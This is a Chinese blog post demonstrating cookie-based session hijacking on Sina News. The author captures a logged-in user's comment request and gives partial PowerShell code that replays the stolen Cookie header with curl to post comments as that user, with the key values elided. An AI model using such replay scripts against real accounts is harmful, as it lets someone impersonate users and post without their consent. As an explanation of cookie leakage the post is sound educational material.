网站的有些功能需要登录才能使用(比如发表评论),Web 系统一般用 Cookie 来标识用户(客户端)身份,存储登录状态。当你登录网站后,客户端和服务器传输的数据里就会包含 Cookie 信息,服务器根据 Cookie 来判断你的登录状态。如果这个 Cookie 信息泄露了,那得到 Cookie 信息的人就可以使用你的身份和网站交互(比如发表评论),而且不需要登录,当然也不需要密码。

前面两篇博文介绍并实际演示了通过程序伪造数据包实现的“机器点赞”,下面也是个实际演示,盗用身份发表评论。欺骗对象还是新浪,不过其他网站也大同小异。

It's about the network
发评论

User-6773006030 登录了网站,并在一篇新闻文章发了评论“很神秘”(上图)。通过网络监听抓到了发这条评论的 HTTP Post 数据包(下图),红框是数据包的 Cookie 信息。

It's about the network
“发评论”请求

和“点赞”差不多,地址比较通用,发送的数据包含各种信息,篮筐是评论内容。下图是“发评论” Post 的服务器回应,回应的数据会包含“发评论”的状态 <script> ... "language": "ch", "encoding": "utf-8", ... "User-6773006030" ... "time": "2018-10-17 12:35:48", "filter_code": "4000", ... </script> (内容较长省略一部分)。

It's about the network
“发评论”回应

以上是 User-6773006030 登录了网站之后发评论的流程,HTTP Post 附带 Cookie 发送评论数据,服务器回应“评论”请求状态。而用于标识 User-6773006030 身份的 Cookie 信息是他登录之后才有的(不登录则没有,也没法发评论)。

如果这个 Cookie 被监听到了(泄露了),信息的获得者就可以用这个 Cookie 伪造评论数据包,以 User-6773006030 的身份发评论。不通过 User-6773006030 已登录的页面,也不用 User-6773006030 授权。使用他的 Cookie 信息,编写脚本直接发送评论。

# Defaults
$string_curl_exe = "...\curl-7.61.1-win64\bin\curl.exe"
$string_comment_uri = "http://...news.sina.com.cn/cmnt/submit"
$string_header_referer = '"Referer: http://...news.sina.com.cn/comment/skin/default.html?channel=kj&newsid..."'
$string_header_cookie = '"Cookie: ... "' # User-6773006030
$string_post_data = '"channel=kj&newsid=...&content...&ie=gbk&oe=gbk... ..."'

# Process
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = "cmd"
$process.StartInfo.CreateNoWindow = $true
$process.StartInfo.UseShellExecute = $false
$process.StartInfo.RedirectStandardInput = $true
$process.StartInfo.RedirectStandardOutput = $true
$process.Start()
$process.BeginOutputReadLine()

function postComment() {
    $process.Refresh()
	$process.StandardInput.WriteLine($string_curl_exe + " --silent " `
		+ " --header " + $string_header_referer `
		+ " --header " + $string_header_cookie `
		+ " --data " + $comment_post `
		+ " " + $string_comment_uri)
}

... ...

上面的参考代码省略了比较多的内容,意在说明原理。$string_header_cookie = '"Cookie: ... "' 即是 User-6773006030 登录后的 Cookie 信息,服务器收到带有这个 Cookie 的“评论”请求时会认为是 User-6773006030 发的,而实际上是取得这个 Cookie 的人发的。

此外,新浪新闻的评论内容是转换为“%HEX”的格式发送的,比如 UTF8 编码的“很神秘”会转换为“%E5%BE%88%E7%A5%9E%E7%A7%98”,以下是 PowerShell 中的转化方法,类似 C#。

# $comment_line 为一行 UTF8 编码的评论内容
# $comment_data 为这行评论的待发送数据,需要赋值给 content
$comment_bytes = [System.Text.Encoding]::UTF8.GetBytes($comment_line)
$comment_data = [BitConverter]::ToString($comment_bytes).Replace("-","%")
It's about the network
机器以 User-6773006030 的身份发评论

参考数据:新浪新闻评论(网站、新闻、评论均为“素材”,不代表本人观点)
参考资料:Cookie https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
本文代码仅供参考